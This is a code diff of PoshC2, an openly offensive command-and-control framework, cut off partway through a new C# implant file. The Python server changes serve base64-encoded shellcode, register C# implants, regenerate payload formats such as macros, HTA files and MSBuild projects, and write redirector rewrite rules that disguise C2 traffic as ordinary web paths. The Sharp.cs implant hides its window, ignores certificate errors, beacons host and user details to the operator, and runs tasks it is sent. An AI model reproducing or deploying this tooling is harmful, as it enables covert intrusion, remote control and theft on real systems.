diff --git a/.gitignore b/.gitignore index 3a48d66..dd4a7fc 100644 --- a/.gitignore +++ b/.gitignore @@ -90,3 +90,10 @@ ENV/ # Rope project settings .ropeproject + +# VSCode +.vscode/ + +# Pip Env +Pipfile +Pipfile.lock diff --git a/AutoLoads.py b/AutoLoads.py index 61f8988..177820e 100644 --- a/AutoLoads.py +++ b/AutoLoads.py @@ -2,33 +2,33 @@ from DB import * from Config import * -import os +import os, base64 def check_module_loaded( module_name, randomuri, force=False ): try: modules_loaded = select_mods(randomuri) if force: - for modname in os.listdir("%s/Modules/" % POSHDIR): + for modname in os.listdir(ModulesDirectory): if modname.lower() in module_name.lower(): module_name = modname - file = open(("%sModules/%s" % (POSHDIR,module_name)), "r") + file = open(("%s%s" % (ModulesDirectory,module_name)), "r") module = file.read() new_task(("loadmodule %s" % module_name), randomuri) if modules_loaded: - new_modules_loaded = "%s %s" % (modules_loaded, module_name) + new_modules_loaded = "%s %s" % (modules_loaded, module_name) if module_name in modules_loaded: loaded = "YES" else: - for modname in os.listdir("%s/Modules/" % POSHDIR): + for modname in os.listdir(ModulesDirectory): if modname.lower() in module_name.lower(): module_name = modname - file = open(("%sModules/%s" % (POSHDIR,module_name)), "r") + file = open(("%s%s" % (ModulesDirectory,module_name)), "r") module = file.read() new_task(("loadmodule %s" % module_name), randomuri) update_mods(new_modules_loaded, randomuri) else: - new_modules_loaded = "%s" % (module_name) - file = open(("%sModules/%s" % (POSHDIR,module_name)), "r") + new_modules_loaded = "%s" % (module_name) + file = open(("%s%s" % (ModulesDirectory,module_name)), "r") module = file.read() new_task(("loadmodule %s" % module_name), randomuri) update_mods(new_modules_loaded, randomuri) @@ -134,7 +134,7 @@ def run_autoloads(command, randomuri): if "get-wmiregcachedrdpconnection" in command.lower(): check_module_loaded("powerview.ps1", randomuri) if "get-wmiregmounteddrive" in command.lower(): check_module_loaded("powerview.ps1", randomuri) if "invoke-wmievent" in command.lower(): check_module_loaded("Invoke-WMIEvent.ps1", randomuri) - if "remove-wmievent" in command.lower(): check_module_loaded("Invoke-WMIEvent.ps1", randomuri) + if "remove-wmievent" in command.lower(): check_module_loaded("Invoke-WMIEvent.ps1", randomuri) if "invoke-wmi" in command.lower(): check_module_loaded("Invoke-WMIExec.ps1", randomuri) if "get-lapspasswords" in command.lower(): check_module_loaded("Get-LAPSPasswords.ps1", randomuri) - \ No newline at end of file + diff --git a/C2Server.py b/C2Server.py index 6682d00..27ca1c8 100644 --- a/C2Server.py +++ b/C2Server.py @@ -79,6 +79,26 @@ class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler): s.end_headers() s.wfile.write(content) + elif ("%spotal" % QuickCommandURI) in s.path: + filename = "%sSharp-shellcode_x86.bin" % (PayloadsDirectory) + with open(filename, 'rb') as f: + content = f.read() + content = base64.b64encode(content) + s.send_response(200) + s.send_header("Content-type", "text/html") + s.end_headers() + s.wfile.write(content) + + elif ("%slogin" % QuickCommandURI) in s.path: + filename = "%sSharp-shellcode_x64.bin" % (PayloadsDirectory) + with open(filename, 'rb') as f: + content = f.read() + content = base64.b64encode(content) + s.send_response(200) + s.send_header("Content-type", "text/html") + s.end_headers() + s.wfile.write(content) + elif ("%s_cs" % QuickCommandURI) in s.path: filename = "%scs_sct.xml" % (PayloadsDirectory) with open(filename, 'rb') as f: @@ -125,8 +145,26 @@ class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler): implant_type = "Daisy" if s.path == ("%s?m" % new_implant_url): implant_type = "OSX" - - if implant_type == "OSX": + if s.path == ("%s?c" % new_implant_url): + implant_type = "C#" + if s.path == ("%s?p?c" % new_implant_url): + implant_type = "C#" + + if implant_type == "C#": + cookieVal = (s.cookieHeader).replace("SessionID=","") + decCookie = decrypt(KEY, cookieVal) + IPAddress = "%s:%s" % (s.client_address[0],s.client_address[1]) + Domain,User,Hostname,Arch,PID,Proxy = decCookie.split(";") + newImplant = Implant(IPAddress, implant_type, Domain.decode("utf-8"), User.decode("utf-8"), Hostname.decode("utf-8"), Arch, PID, Proxy) + newImplant.save() + newImplant.display() + responseVal = encrypt(KEY, newImplant.SharpCore) + s.send_response(200) + s.send_header("Content-type", "text/html") + s.end_headers() + s.wfile.write(responseVal) + + elif implant_type == "OSX": cookieVal = (s.cookieHeader).replace("SessionID=","") decCookie = decrypt(KEY, cookieVal) IPAddress = "%s:%s" % (s.client_address[0],s.client_address[1]) @@ -218,6 +256,9 @@ class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler): elif (decCookie.lower().startswith("$shellcode64")) or (decCookie.lower().startswith("$shellcode64")): insert_completedtask(RandomURI, decCookie, "Upload shellcode complete", "") print ("Upload shellcode complete") + elif (decCookie.lower().startswith("run-exe core.program core inject-shellcode")): + insert_completedtask(RandomURI, decCookie, "Upload shellcode complete", "") + print (outputParsed) elif "download-file" in decCookie.lower(): try: rawoutput = decrypt_bytes_gzip(encKey, (post_data[1500:])) @@ -263,10 +304,36 @@ if __name__ == '__main__': print (Colours.GREEN + logopic) print (Colours.END + "") - # KeyFile = None, CertFile = None, ClientCertCAs = None if os.path.isfile(DB): print ("Using existing database / project" + Colours.GREEN) + C2 = get_c2server_all() + if (C2[1] == HostnameIP): + print (C2[1]) + else: + print ("Error different IP so regenerating payloads") + if os.path.exists("%spayloads_old" % ROOTDIR): + import shutil + shutil.rmtree("%spayloads_old" % ROOTDIR) + os.rename("%spayloads" % ROOTDIR, "%spayloads_old" % ROOTDIR) + os.makedirs("%spayloads" % ROOTDIR) + C2 = get_c2server_all() + newPayload = Payloads(C2[5], C2[2], HostnameIP, C2[3], C2[8], C2[12], + C2[13], C2[11], "", "", C2[19], C2[20],C2[21], get_newimplanturl(), PayloadsDirectory) + new_urldetails( "updated_host", HostnameIP, C2[3], "", "", "", "" ) + update_item("HostnameIP", "C2Server", HostnameIP) + newPayload.CreateRaw() + newPayload.CreateDlls() + newPayload.CreateShellcode() + newPayload.CreateSCT() + newPayload.CreateHTA() + newPayload.CreateCS() + newPayload.CreateMacro() + newPayload.CreateEXE() + newPayload.CreateMsbuild() + newPayload.CreatePython() + newPayload.WriteQuickstart( ROOTDIR + '/quickstart.txt' ) + else: print ("Initializing new project folder and database" + Colours.GREEN) print ("") @@ -278,6 +345,17 @@ if __name__ == '__main__': os.makedirs("%s/payloads" % directory) initializedb() setupserver(HostnameIP,gen_key(),DomainFrontHeader,DefaultSleep,KillDate,HTTPResponse,ROOTDIR,ServerPort,QuickCommand,DownloadURI,"","","",Sounds,APIKEY,MobileNumber,URLS,SocksURLS,Insecure,UserAgent,Referer,APIToken,APIUser,EnableNotifications) + rewriteFile = "%s/rewrite-rules.txt" % directory + print "Creating Rewrite Rules in: " + rewriteFile + print "" + rewriteHeader=["RewriteEngine On", "SSLProxyEngine On", "SSLProxyCheckPeerCN Off", "SSLProxyVerify none", "SSLProxyCheckPeerName off", "SSLProxyCheckPeerExpire off","Define 10.0.0.1 # change ip here", "Define SharpSocks 10.0.0.1 # change ip here"] + rewriteFileContents = rewriteHeader + urlConfig.fetchRewriteRules() + urlConfig.fetchSocksRewriteRules() + with open(rewriteFile,'w') as outFile: + for line in rewriteFileContents: + outFile.write(line) + outFile.write('\n') + outFile.close() + C2 = get_c2server_all() newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12], @@ -308,9 +386,10 @@ if __name__ == '__main__': print (Colours.END) if (os.path.isfile("%sposh.crt" % ROOTDIR)) and (os.path.isfile("%sposh.key" % ROOTDIR)): - httpd.socket = ssl.wrap_socket (httpd.socket, keyfile="%sposh.key" % ROOTDIR, certfile="%sposh.crt" % ROOTDIR, server_side=True, ssl_version=ssl.PROTOCOL_TLS) - # add this if required - https://github.com/nettitude/PoshC2_Python/issues/13 - # httpd.socket = ssl.wrap_socket (httpd.socket, keyfile="%sposh.key" % ROOTDIR, certfile="%sposh.crt" % ROOTDIR, server_side=True, ssl_version=ssl.PROTOCOL_TLSv1) + try: + httpd.socket = ssl.wrap_socket (httpd.socket, keyfile="%sposh.key" % ROOTDIR, certfile="%sposh.crt" % ROOTDIR, server_side=True, ssl_version=ssl.PROTOCOL_TLS) + except Exception as e: + httpd.socket = ssl.wrap_socket (httpd.socket, keyfile="%sposh.key" % ROOTDIR, certfile="%sposh.crt" % ROOTDIR, server_side=True, ssl_version=ssl.PROTOCOL_TLSv1) else: raise ValueError("Cannot find the certificate files") #logging.basicConfig(level=logging.WARNING) # DEBUG,INFO,WARNING,ERROR,CRITICAL diff --git a/C2Viewer.py b/C2Viewer.py index 012d8e5..a50f2c1 100644 --- a/C2Viewer.py +++ b/C2Viewer.py @@ -75,7 +75,7 @@ while(1): implant = get_implantbyid(implantid) if implant: print Colours.GREEN - print "New %s implant connected: (uri=%s key=%s)" % (implant[15], implant[1], implant[5]) + print "New %s implant connected: (uri=%s key=%s) (%s)" % (implant[15], implant[1], implant[5], now.strftime("%m/%d/%Y %H:%M:%S")) print "%s | URL:%s | Time:%s | PID:%s | Sleep:%s | %s (%s) " % (implant[4], implant[9], implant[6], implant[8], implant[13], implant[11], implant[10]) print Colours.END diff --git a/Config.py b/Config.py index 92b8635..dd7e28f 100644 --- a/Config.py +++ b/Config.py @@ -1,28 +1,33 @@ #!/usr/bin/env python +from UrlConfig import UrlConfig -HOST_NAME = '0.0.0.0' +HOST_NAME = '0.0.0.0' PORT_NUMBER = 443 -POSHDIR = "/opt/PoshC2_Python/" -ROOTDIR = "/opt/PoshC2_Project/" -HostnameIP = "https://172.19.131.109" -ServerPort = "443" +POSHDIR = "/opt/PoshC2_Python/" +ROOTDIR = "/opt/PoshC2_Project/" +HostnameIP = "https://172.16.0.124" DomainFrontHeader = "" # example df.azureedge.net DefaultSleep = "5" KillDate = "08/06/2019" -QuickCommand = "adsense/troubleshooter/1631343?id=Ndks8dmsPld" -DownloadURI = "adsense/troubleshooter/1631343?id=Ndks8dmsPld" -Sounds = "No" -EnableNotifications = "No" -# ClockworkSMS - https://www.clockworksms.com -APIKEY = "" -MobileNumber = '"07777777777","07777777777"' -# Pushover - https://pushover.net/ -APIToken = "" -APIUser = "" -URLS = '"adsense/troubleshooter/1631343/","adServingData/PROD/TMClient/6/8736/","advanced_search?hl=en-GB&fg=","async/newtab?ei=","babel-polyfill/6.3.14/polyfill.min.js=","bh/sync/aol?rurl=/ups/55972/sync?origin=","bootstrap/3.1.1/bootstrap.min.js?p=","branch-locator/search.asp?WT.ac&api=","business/home.asp&ved=","business/retail-business/insurance.asp?WT.mc_id=","cdb?ptv=48&profileId=125&av=1&cb=","cis/marketq?bartype=AREA&showheader=FALSE&showvaluemarkers=","classroom/sharewidget/widget_stable.html?usegapi=","client_204?&atyp=i&biw=1920&bih=921&ei=","load/pages/index.php?t=","putil/2018/0/11/po.html?ved=","q/2018/load.php?lang=en&modules=","status/995598521343541248/query=","TOS?loc=GB&hl=en&privacy=","trader-update/history&pd=","types/translation/v1/articles/","uasclient/0.1.34/modules/","usersync/tradedesk/","utag/lbg/main/prod/utag.15.js?utv=","vs/1/vsopts.js?","vs/site/bgroup/visitor/","w/load.php?debug=false&lang=en&modules=","web/20110920084728/","webhp?hl=en&sa=X&ved=","work/embedded/search?oid="' -SocksURLS = '"GoPro5/black/2018/","Philips/v902/"' UserAgent = "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko" +urlConfig = UrlConfig("%soldurls.txt" % POSHDIR) # Instantiate UrlConfig object - old urls using a list from a text file +#urlConfig = UrlConfig(wordList="%swordlist.txt" % POSHDIR) # Instantiate UrlConfig object - wordlist random url generator +QuickCommand = urlConfig.fetchQCUrl() +DownloadURI = urlConfig.fetchConnUrl() +Sounds = "No" +ServerPort = "443" +EnableNotifications = "No" + +# ClockworkSMS - https://www.clockworksms.com +APIKEY = "" +MobileNumber = '"07777777777","07777777777"' + +# Pushover - https://pushover.net/ +APIToken = "" +APIUser = "" +URLS = urlConfig.fetchUrls() +SocksURLS = urlConfig.fetchSocks() Referer = "" # optional HTTPResponse = """ @@ -47,60 +52,14 @@ HTTPResponses = [ ServerHeader = "Apache" Insecure = "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}" - - # DO NOT CHANGE # FilesDirectory = "%sFiles/" % POSHDIR PayloadsDirectory = "%spayloads/" % ROOTDIR +ModulesDirectory = "%sModules/" % POSHDIR DownloadsDirectory = "%sdownloads/" % ROOTDIR ReportsDirectory = "%sreports/" % ROOTDIR -DB = "%s/PowershellC2.SQLite" % ROOTDIR +DB = "%s/PowershellC2.SQLite" % ROOTDIR # DO NOT CHANGE # - -''' -RewriteEngine On -SSLProxyEngine On -SSLProxyCheckPeerCN Off -SSLProxyVerify none -SSLProxyCheckPeerName off -SSLProxyCheckPeerExpire off - -Define PoshC2 -Define SharpSocks - -RewriteRule ^/adsense/troub(.*) https://${PoshC2}/adsense/troub$1 [NC,L,P] -RewriteRule ^/adServingData(.*) https://${PoshC2}/adServingData$1 [NC,L,P] -RewriteRule ^/advanced_sear(.*) https://${PoshC2}/advanced_sear$1 [NC,L,P] -RewriteRule ^/async/newtab(.*) https://${PoshC2}/async/newtab$1 [NC,L,P] -RewriteRule ^/babel-polyfil(.*) https://${PoshC2}/babel-polyfil$1 [NC,L,P] -RewriteRule ^/bh/sync/aol(.*) https://${PoshC2}/bh/sync/aol$1 [NC,L,P] -RewriteRule ^/bootstrap/3.1(.*) https://${PoshC2}/bootstrap/3.1$1 [NC,L,P] -RewriteRule ^/branch-locato(.*) https://${PoshC2}/branch-locato$1 [NC,L,P] -RewriteRule ^/business/home(.*) https://${PoshC2}/business/home$1 [NC,L,P] -RewriteRule ^/business/reta(.*) https://${PoshC2}/business/reta$1 [NC,L,P] -RewriteRule ^/cdb(.*) https://${PoshC2}/cdb$1 [NC,L,P] -RewriteRule ^/cis/marketq(.*) https://${PoshC2}/cis/marketq$1 [NC,L,P] -RewriteRule ^/classroom/sha(.*) https://${PoshC2}/classroom/sha$1 [NC,L,P] -RewriteRule ^/client_204(.*) https://${PoshC2}/client_204$1 [NC,L,P] -RewriteRule ^/load/pages/in(.*) https://${PoshC2}/load/pages/in$1 [NC,L,P] -RewriteRule ^/putil/2018/0/(.*) https://${PoshC2}/putil/2018/0/$1 [NC,L,P] -RewriteRule ^/q/2018/load.p(.*) https://${PoshC2}/q/2018/load.p$1 [NC,L,P] -RewriteRule ^/status/995598(.*) https://${PoshC2}/status/995598$1 [NC,L,P] -RewriteRule ^/TOS(.*) https://${PoshC2}/TOS$1 [NC,L,P] -RewriteRule ^/trader-update(.*) https://${PoshC2}/trader-update$1 [NC,L,P] -RewriteRule ^/types/transla(.*) https://${PoshC2}/types/transla$1 [NC,L,P] -RewriteRule ^/uasclient/0.1(.*) https://${PoshC2}/uasclient/0.1$1 [NC,L,P] -RewriteRule ^/usersync/trad(.*) https://${PoshC2}/usersync/trad$1 [NC,L,P] -RewriteRule ^/utag/lbg/main(.*) https://${PoshC2}/utag/lbg/main$1 [NC,L,P] -RewriteRule ^/vs/1/vsopts.j(.*) https://${PoshC2}/vs/1/vsopts.j$1 [NC,L,P] -RewriteRule ^/vs/site/bgrou(.*) https://${PoshC2}/vs/site/bgrou$1 [NC,L,P] -RewriteRule ^/w/load.php(.*) https://${PoshC2}/w/load.php$1 [NC,L,P] -RewriteRule ^/web/201109200(.*) https://${PoshC2}/web/201109200$1 [NC,L,P] -RewriteRule ^/webhp(.*) https://${PoshC2}/webhp$1 [NC,L,P] -RewriteRule ^/work/embedded(.*) https://${PoshC2}/work/embedded$1 [NC,L,P] - -RewriteRule ^/GoPro5/black/2018/(.*) http://${SharpSocks}/GoPro5/black/2018/$1 [NC,L,P] -RewriteRule ^/Philips/v902/(.*) http://${SharpSocks}/Philips/v902/$1 [NC,L,P] - -''' +# These rules aren't needed as you'll find them auto-generated within the project folder now. +# checkout /rewrite-rules.txt but left them here just in case. diff --git a/CookieDecrypter.py b/CookieDecrypter.py new file mode 100644 index 0000000..89b17f4 --- /dev/null +++ b/CookieDecrypter.py @@ -0,0 +1,20 @@ +#!/usr/bin/python + +from DB import * +from Colours import * +from Core import * +import os, sys, re + +file = open(sys.argv[1], "r") +result = get_keys() + +for line in file: + if re.search("SessionID", line): + if result: + for i in result: + try: + value = decrypt(i[0], line.split('=')[1]) + print (Colours.GREEN + "Success with Key %s - %s" % (i[0],value)) + except: + print (Colours.RED + "Failed with Key %s" % i[0]) + diff --git a/Core.py b/Core.py index 0f2afe6..f256281 100644 --- a/Core.py +++ b/Core.py @@ -11,7 +11,7 @@ def formStr(varstr, instr): holder = [] str1 = '' str2 = '' - str1 = varstr + ' = "' + instr[:56] + '"' + str1 = varstr + ' = "' + instr[:56] + '"' for i in xrange(56, len(instr), 48): holder.append('"'+instr[i:i+48]) str2 = '"\r\n'.join(holder) @@ -24,7 +24,7 @@ def formStrMacro(varstr, instr): holder = [] str1 = '' str2 = '' - str1 = varstr + ' = "' + instr[:54] + '"' + str1 = varstr + ' = "' + instr[:54] + '"' for i in xrange(54, len(instr), 48): holder.append(varstr + ' = '+ varstr +' + "'+instr[i:i+48]) str2 = '"\r\n'.join(holder) @@ -38,13 +38,17 @@ def load_module(module_name): file = codecs.open(("%sModules/%s" % (POSHDIR,module_name)), 'r', encoding='utf-8-sig') return file.read() +def load_module_sharp(module_name): + file = open(("%sModules/%s" % (POSHDIR,module_name)), 'r+b') + return base64.b64encode(file.read()) + def get_images(): dir_path = os.path.dirname(os.path.realpath(__file__)) rootimagedir = "%s/Images/" % dir_path images = "" for root, dirs, filenames in os.walk(rootimagedir): count = 1 - for f in filenames: + for f in filenames: if count == 5: with open(rootimagedir+f, "rb") as image_file: image = image_file.read() @@ -65,21 +69,21 @@ def gen_key(): def randomuri(size = 15, chars=string.ascii_letters + string.digits): return ''.join(random.choice(chars) for _ in range(size)) -# Decrypt a string from base64 encoding +# Decrypt a string from base64 encoding def get_encryption( key, iv='0123456789ABCDEF' ): from Crypto.Cipher import AES iv = os.urandom(AES.block_size) aes = AES.new( base64.b64decode(key), AES.MODE_CBC, iv ) return aes -# Decrypt a string from base64 encoding +# Decrypt a string from base64 encoding def decrypt( key, data ): iv = data[0:16] aes = get_encryption(key, iv) data = aes.decrypt( base64.b64decode(data) ) return data[16:] -# Decrypt a string from base64 encoding +# Decrypt a string from base64 encoding def decrypt_bytes_gzip( key, data): iv = data[0:16] aes = get_encryption(key, iv) @@ -100,7 +104,7 @@ def encrypt( key, data, gzip=False ): out = StringIO.StringIO() with gzip.GzipFile(fileobj=out, mode="w") as f: f.write(data) - data = out.getvalue() + data = out.getvalue() # Pad with zeros mod = len(data) % 16 @@ -111,4 +115,4 @@ def encrypt( key, data, gzip=False ): data = aes.IV + aes.encrypt( data ) if not gzip: data = base64.b64encode( data ) - return data \ No newline at end of file + return data diff --git a/DB.py b/DB.py index 5800c0a..8d6b021 100644 --- a/DB.py +++ b/DB.py @@ -23,7 +23,8 @@ def initializedb(): Alive TEXT, Sleep TEXT, ModsLoaded TEXT, - Pivot TEXT);""" + Pivot TEXT, + Label TEXT);""" create_autoruns = """CREATE TABLE AutoRuns ( TaskID INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL UNIQUE, @@ -283,6 +284,12 @@ def update_sleep( sleep, randomuri ): c.execute("UPDATE Implants SET Sleep=? WHERE RandomURI=?",(sleep, randomuri)) conn.commit() +def update_label( label, randomuri ): + conn = sqlite3.connect(DB) + c = conn.cursor() + c.execute("UPDATE Implants SET Label=? WHERE RandomURI=?",(label, randomuri)) + conn.commit() + def update_mods( modules, randomuri ): conn = sqlite3.connect(DB) c = conn.cursor() @@ -351,11 +358,11 @@ def update_implant_lastseen(time, randomuri): c.execute("UPDATE Implants SET LastSeen=? WHERE RandomURI=?", (time,randomuri)) conn.commit() -def new_implant(RandomURI, User, Hostname, IpAddress, Key, FirstSeen, LastSeen, PID, Proxy, Arch, Domain, Alive, Sleep, ModsLoaded, Pivot): +def new_implant(RandomURI, User, Hostname, IpAddress, Key, FirstSeen, LastSeen, PID, Proxy, Arch, Domain, Alive, Sleep, ModsLoaded, Pivot, Label): conn = sqlite3.connect(DB) conn.row_factory = sqlite3.Row c = conn.cursor() - c.execute("INSERT INTO Implants (RandomURI, User, Hostname, IpAddress, Key, FirstSeen, LastSeen, PID, Proxy, Arch, Domain, Alive, Sleep, ModsLoaded, Pivot) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", (RandomURI, User, Hostname, IpAddress, Key, FirstSeen, LastSeen, PID, Proxy, Arch, Domain, Alive, Sleep, ModsLoaded, Pivot)) + c.execute("INSERT INTO Implants (RandomURI, User, Hostname, IpAddress, Key, FirstSeen, LastSeen, PID, Proxy, Arch, Domain, Alive, Sleep, ModsLoaded, Pivot, Label) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", (RandomURI, User, Hostname, IpAddress, Key, FirstSeen, LastSeen, PID, Proxy, Arch, Domain, Alive, Sleep, ModsLoaded, Pivot, Label)) conn.commit() def insert_completedtask(randomuri, command, output, prompt): @@ -614,4 +621,15 @@ def get_newtasks(randomuri): if result: return result else: - return None \ No newline at end of file + return None + +def get_keys(): + conn = sqlite3.connect(DB) + conn.row_factory = sqlite3.Row + c = conn.cursor() + result = c.execute("SELECT EncKey FROM C2Server") + result = c.fetchall() + if result: + return result + else: + return None diff --git a/Files/Sharp.cs b/Files/Sharp.cs new file mode 100644 index 0000000..49e8843 --- /dev/null +++ b/Files/Sharp.cs @@ -0,0 +1,503 @@ +using System; +using System.Linq; +using System.Net; +using System.Text; +using System.Text.RegularExpressions; +using System.Reflection; +using System.Threading; +using System.Diagnostics; +using System.Runtime.InteropServices; +using System.IO; +using System.IO.Compression; +using System.Collections.Generic; + +//mono-csc /opt/PoshC2_Python_Git/Files/Sharp.cs -out:/tmp/Sharp.dll -target:library +//cat /tmp/Sharp.dll | base64 -w 0 | xclip + +public class Program +{ + [DllImport("kernel32.dll")] + static extern IntPtr GetConsoleWindow(); + [DllImport("user32.dll")] + static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); + public const int SW_HIDE = 0; + public const int SW_SHOW = 5; + + public static void Sharp() + { + var handle = GetConsoleWindow(); + ShowWindow(handle, SW_HIDE); + AllowUntrustedCertificates(); + try { primer(); } catch { + var mre = new System.Threading.ManualResetEvent(false); + mre.WaitOne(300000); + try { primer(); } catch { + mre.WaitOne(600000); + try { primer(); } catch { } + } + } + } + + public static void Main() + { + Sharp(); + } + + static byte[] Combine(byte[] first, byte[] second) + { + byte[] ret = new byte[first.Length + second.Length]; + Buffer.BlockCopy(first, 0, ret, 0, first.Length); + Buffer.BlockCopy(second, 0, ret, first.Length, second.Length); + return ret; + } + + static System.Net.WebClient GetWebRequest(string cookie) + { + var x = new System.Net.WebClient(); + + var purl = @"#REPLACEPROXYURL#"; + var puser = @"#REPLACEPROXYUSER#"; + var ppass = @"#REPLACEPROXYPASSWORD#"; + + if (!String.IsNullOrEmpty(purl)) + { + WebProxy proxy = new WebProxy(); + proxy.Address = new Uri(purl); + proxy.Credentials = new NetworkCredential(puser, ppass); + proxy.UseDefaultCredentials = false; + proxy.BypassProxyOnLocal = false; + x.Proxy = proxy; + } + + var df = "#REPLACEDF#"; + if (!String.IsNullOrEmpty(df)) + x.Headers.Add("Host", df); + + x.Headers.Add("User-Agent", "#REPLACEUSERAGENT#"); + x.Headers.Add("Referer", "#REPLACEREFERER#"); + + if (null != cookie) + x.Headers.Add(System.Net.HttpRequestHeader.Cookie, $"SessionID={cookie}"); + + return x; + } + + static string Decryption(string key, string enc) + { + var b = System.Convert.FromBase64String(enc); + var IV = new Byte[16]; + Array.Copy(b, IV, 16); + try + { + var a = CreateCam(key, System.Convert.ToBase64String(IV)); + var u = a.CreateDecryptor().TransformFinalBlock(b, 16, b.Length - 16); + return System.Text.Encoding.UTF8.GetString(u); + } + catch + { + var a = CreateCam(key, System.Convert.ToBase64String(IV), false); + var u = a.CreateDecryptor().TransformFinalBlock(b, 16, b.Length - 16); + return System.Text.Encoding.UTF8.GetString(u); + } + finally + { + Array.Clear(b, 0, b.Length); + Array.Clear(IV, 0, 16); + } + } + + static string Encryption(string key, string un, bool comp = false, byte[] unByte = null) + { + byte[] byEnc = null; + if (unByte != null) + byEnc = unByte; + else + byEnc = System.Text.Encoding.UTF8.GetBytes(un); + + if (comp) + byEnc = Compress(byEnc); + + try + { + var a = CreateCam(key, null); + var f = a.CreateEncryptor().TransformFinalBlock(byEnc, 0, byEnc.Length); + return System.Convert.ToBase64String(Combine(a.IV, f)); + } + catch + { + var a = CreateCam(key, null, false); + var f = a.CreateEncryptor().TransformFinalBlock(byEnc, 0, byEnc.Length); + return System.Convert.ToBase64String(Combine(a.IV, f)); + } + } + + static System.Security.Cryptography.SymmetricAlgorithm CreateCam(string key, string IV, bool rij = true) + { + System.Security.Cryptography.SymmetricAlgorithm a = null; + if (rij) + a = new System.Security.Cryptography.RijndaelManaged(); + else + a = new System.Security.Cryptography.AesCryptoServiceProvider(); + + a.Mode = System.Security.Cryptography.CipherMode.CBC; + a.Padding = System.Security.Cryptography.PaddingMode.Zeros; + a.BlockSize = 128; + a.KeySize = 256; + + if (null != IV) + a.IV = System.Convert.FromBase64String(IV); + else + a.GenerateIV(); + + if (null != key) + a.Key = System.Convert.FromBase64String(key); + + return a; + } + static void AllowUntrustedCertificates() + { + try + { + System.Net.ServicePointManager.ServerCertificateValidationCallback = (z, y, x, w) => { return true; }; + } + catch { } + } + + static void primer() + { + if (Convert.ToDateTime("#REPLACEKILLDATE#") > DateTime.Now) + { + var u = System.Security.Principal.WindowsIdentity.GetCurrent().Name; + var dn = System.Environment.UserDomainName; + var cn = System.Environment.GetEnvironmentVariable("COMPUTERNAME"); + var arch = System.Environment.GetEnvironmentVariable("PROCESSOR_ARCHITECTURE"); + int pid = Process.GetCurrentProcess().Id; + Environment.CurrentDirectory = Environment.GetEnvironmentVariable("windir"); + var o = $"{dn};{u};{cn};{arch};{pid};#REPLACEBASEURL#"; + String key = "#REPLACEKEY#", baseURL = "#REPLACEBASEURL#", s = "#REPLACESTARTURL#"; + + var primer = GetWebRequest(Encryption(key, o)).DownloadString(s); + var x = Decryption(key, primer); + + var re = new Regex("RANDOMURI19901(.*)10991IRUMODNAR"); + var m = re.Match(x); + string RandomURI = m.Groups[1].ToString(); + + re = new Regex("URLS10484390243(.*)34209348401SLRU"); + m = re.Match(x); + string URLS = m.Groups[1].ToString(); + + re = new Regex("KILLDATE1665(.*)5661ETADLLIK"); + m = re.Match(x); + var KillDate = m.Groups[1].ToString(); + + re = new Regex("SLEEP98001(.*)10089PEELS"); + m = re.Match(x); + var Sleep = m.Groups[1].ToString(); + + re = new Regex("NEWKEY8839394(.*)4939388YEKWEN"); + m = re.Match(x); + var NewKey = m.Groups[1].ToString(); + + re = new Regex("IMGS19459394(.*)49395491SGMI"); + m = re.Match(x); + var IMGs = m.Groups[1].ToString(); + + ImplantCore(baseURL, RandomURI, URLS, KillDate, Sleep, NewKey, IMGs); + } + } + + static byte[] Compress(byte[] raw) + { + using (MemoryStream memory = new MemoryStream()) + { + using (GZipStream gzip = new GZipStream(memory, CompressionMode.Compress, true)) + { + gzip.Write(raw, 0, raw.Length); + } + return memory.ToArray(); + } + } + + static Type LoadSomething(string assemblyQualifiedName) + { + return Type.GetType(assemblyQualifiedName, (name) => + { + return AppDomain.CurrentDomain.GetAssemblies().Where(z => z.FullName == name.FullName).FirstOrDefault(); + }, null, true); + } + + static string RunAssembly(string c) + { + var splitargs = c.Split(new string[] { " " }, StringSplitOptions.RemoveEmptyEntries); + int i = 0; + string sOut = null; + bool runexe = true; + string sMethod = "", splittheseargs = "", qualifiedname = "", name = ""; + foreach (var a in splitargs) + { + if (i == 1) + qualifiedname = a; + if (i == 2) + name = a; + + if (c.ToLower().StartsWith("run-exe")) { + if (i > 2) + splittheseargs = splittheseargs + " " + a; + } else { + if (i == 3) + sMethod = a; + else if (i > 3) + splittheseargs = splittheseargs + " " + a; + } + i++; + } + var splitnewargs = splittheseargs.Split(new string[] { " " }, StringSplitOptions.RemoveEmptyEntries); + foreach (var Ass in AppDomain.CurrentDomain.GetAssemblies()) + { + if (Ass.FullName.ToString().ToLower().StartsWith(name.ToLower())) + { + var loadedType = LoadSomething(qualifiedname + ", " + Ass.FullName); + try + { + if (c.ToLower().StartsWith("run-exe")) + sOut = loadedType.Assembly.EntryPoint.Invoke(null, new object[] { splitnewargs }).ToString(); + else + { + try + { + sOut = loadedType.Assembly.GetType(qualifiedname).InvokeMember(sMethod, BindingFlags.Public | BindingFlags.InvokeMethod | BindingFlags.Static, null, null, new object[] { splitnewargs }).ToString(); + } + catch + { + var asOut = loadedType.Assembly.GetType(qualifiedname).InvokeMember(sMethod, BindingFlags.Public | BindingFlags.InvokeMethod | BindingFlags.Static, null, null, null).ToString(); + } + } + } + catch { } + } + } + return sOut; + } + + internal static class UrlGen + { + static List _stringnewURLS = new List(); + static String _randomURI; + static String _baseUrl; + static Random _rnd = new Random(); + static Regex _re = new Regex("(?<=\")[^\"]*(?=\")|[^\" ]+", RegexOptions.Compiled); + internal static void Init(string stringURLS, String RandomURI, String baseUrl) + { + _stringnewURLS = _re.Matches(stringURLS.Replace(",", "").Replace(" ", "")).Cast().Select(m => m.Value).Where(m => !string.IsNullOrEmpty(m)).ToList(); + _randomURI = RandomURI; + _baseUrl = baseUrl; + } + + internal static String GenerateUrl() + { + string URL = _stringnewURLS[_rnd.Next(_stringnewURLS.Count)]; + return $"{_baseUrl}/{URL}{Guid.NewGuid()}/?{_randomURI}"; + } + } + + internal static class ImgGen + { + static Random _rnd = new Random(); + static Regex _re = new 